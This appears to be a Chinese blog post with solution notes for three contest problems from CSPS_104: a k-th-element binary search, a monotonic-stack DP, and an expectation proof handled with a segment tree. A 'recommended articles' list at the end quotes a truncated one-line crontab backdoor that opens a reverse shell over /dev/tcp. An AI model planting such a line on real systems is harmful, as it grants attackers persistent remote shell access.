又被爆踩。

    正解写挂。

    暴力不会。

    只会改题。

    还要加油。

    T1

      $nlog^2$是显然的

      那么考虑只二分一次,就$nlog$了!

      有什么能通过一次二分$O(1)$得到呢?

      二分a的位置,$O(1)$得到b的位置

      check的特判极其惨烈,%%%$Rock_B$调出来了

      

      另一种简单一点的做法:

      二分查找不好搞,考虑另一个二分——分治

      通过分治,让每次的询问参数减半,也是$O(logn)$的复杂度

      设计一个函数找到a的长度为lena,b的长度为lenb时,排名为rank的元素

      那么把每次询问的rank分成一半,在a,b中找到对应的位置(长度不够则让另一个串多分一点)

      如果$a[k/2]<b[k/2]$,则可知$a[1]~a[k/2]$都不可能成为排名为rank的元素

      因为把ab放一起排序后$a[k/2]$后面的元素太多了..显然一定多于$lena+lenb-rank$

      所以把$a[1]~a[k/2]$直接排除出答案,把rank-=k/2(或者当lena<k/2时的lena),递给下一层解决

    T2

      一个dp分成两部分

      $dp[i]=min(dp[j-1]+value(j,i))$

      单调栈维护所有可能贡献出value的j(单调递增栈)

      对同一个j维护可能的最大$dp[k-1](k<=j)$,随便用什么数据结构维护栈里的最大值即可。

    T3

      暴力我打的是vector启发式归并,后来电脑关了,不知道有多少分。

      正解?

      高度烧脑警告。

      我和miku啃了好久题解才弄明白

      (miku教了我好久我才懂的差不多)

      首先对于一个整型随机变量x有这样一个东西:

      $E(x)=\sum\limits_{i=1}^{inf} P(x>=i)$ 

      E(x)为x取值的期望,P为命题成立的概率。

      证明么..

      $$\begin{array}{rcl}\\E(x)&=&\sum\limits_{i=1}^{inf} i*P(x==i)\\&=&\sum\limits_{i=1}^{inf} i*(P(x>=i)-P(x>=i+1))\\&=&1*P(x>=1)-1*P(x>=2)+2*P(x>=2)-2*P(x>=3)+...\\&=&\sum\limits_{i=1}^{inf} P(x>=i)\end{array}$$

      

      现在有了这样一个东西,先考虑每个询问的答案

      $E_q=\sum\limits_{i=1}^{maxv} P(max_{j=l}^{r} val_j >=i)$

      容易想到$i>maxv$的时候没有贡献。

      那么求每个位置的最小值大于等于x的概率即可

      这个概率就是小于x的数都不出现而大于等于x的数出现一个的概率

      不是很好求,转化一下

      求它的反面,也就是每个点的最小值都小于x,也就是大于等于x的都不出现

      这个就好列式了,而且每个位置出现每个值的概率可以预处理,看起来可做了

      $E_q=\sum\limits_{i=1}^{maxv} 1-\prod 1-P(v_j>=i)$

      $v_j$是第j个位置的最小值

      

      总结一下,答案就是:$ans=\sum\limits_{i=1}^{maxv} \sum\limits_{q=1}^{Q} 1-  \prod 1-P(v_j>=i) (L[q]<=j<=R[q])$

      

      可以想到,枚举i时,只有出现魔法石的i才会有$\prod 1-P()$的值的改变,其他情况下后面那坨柿子完全不变

      所以只需要枚举有石头的i,没有石头的i没有变化可以放在一起统计

      考虑维护后面那坨柿子。

      首先那个1可以直接提出来,那么剩下的就是一个连乘的和

      考虑每个石头,他的加入只会影响“某些询问”的连乘中的“某一项”

      由于区间左右端点对应单调,他影响的区间也一定是连续的

      所以可以用数据结构批量修改区间的连乘,具体做法为把他们的权值乘上一个$\frac{1-P_{now}}{1-P_{last}}$

      推荐使用线段树区间修改。

      

      大体的思路如上,细节比较多.. 

CSPS_104的更多相关文章

随机推荐

  1. JVM(一)内存分配

    方法区: ①存储被虚拟机加载的类信息.常量.静态变量.即时编译器编译后的代码数据 ②又称为永久代,仅对于Hotspot来讲,JRockit和IBM J9里面没有永久代的概念,1.8以后是元空间,直接使 ...

  2. 那些你不知道的HTML知识,快来学习一下吧

    前言 HTML作为前端三大基础知识点之一,是每一个前端开发人员都要掌握的部分.今天这篇文章我们来看看一些平时不太会注意,却在面试时可能会问到的题目,来看看你都会吗? 如何使用div模拟实现textar ...

  3. crontab一句话后门分析

    正常版本 (crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1&g ...

  4. wireshark分析https

    0x01 分析淘宝网站的https数据流 打开淘宝 wireshark抓取到如下 第一部分: 因为https是基于http协议上的,可以看到首先也是和http协议一样的常规的TCP三次握手的连接建立, ...

  5. Java Stream函数式编程案例图文详解

    导读 作者计划把Java Stream写成一个系列的文章,本文只是其中一节.更多内容期待您关注我的号! 一.什么是Java Stream? Java Stream函数式编程接口最初是在Java 8中引 ...

  6. [BZOJ1833][ZJOI2010]数字计数

    Description 给定两个正整数a和b,求在[a,b]中的所有整数中,每个数码(digit)各出现了多少次. Input 输入文件中仅包含一行两个整数a.b,含义如上所述. Output 输出文 ...

  7. std::is_same

    两个一样的类型会返回true bool isInt = std::is_same<int, int>::value; //为true std::cout << std::is_ ...

  8. HDU 6607 Time To Get Up(状态压缩+枚举)

    题目网址: http://acm.hdu.edu.cn/showproblem.php?pid=6077 思路: 先预处理一下,将每个数字块的“X”看作1,“.”看作0,进行状态压缩转换成二进制数,用 ...

  9. 最优解的lingo和MATLAB解法

    最近运筹学学了线性规划和单纯形法,然后老师讲到了运用lingo和MATLAB软件分别求解的方法 首先,我们来讲讲lingo的(小技巧,只要把鼠标滑轮固定在输入界面按ctrl就可以放大了) lingo比 ...

  10. 基于Opentracing+Jaeger全链路灰度调用链

    当网关和服务在实施全链路分布式灰度发布和路由时候,我们需要一款追踪系统来监控网关和服务走的是哪个灰度组,哪个灰度版本,哪个灰度区域,甚至监控从Http Header头部全程传递的灰度规则和路由策略.这 ...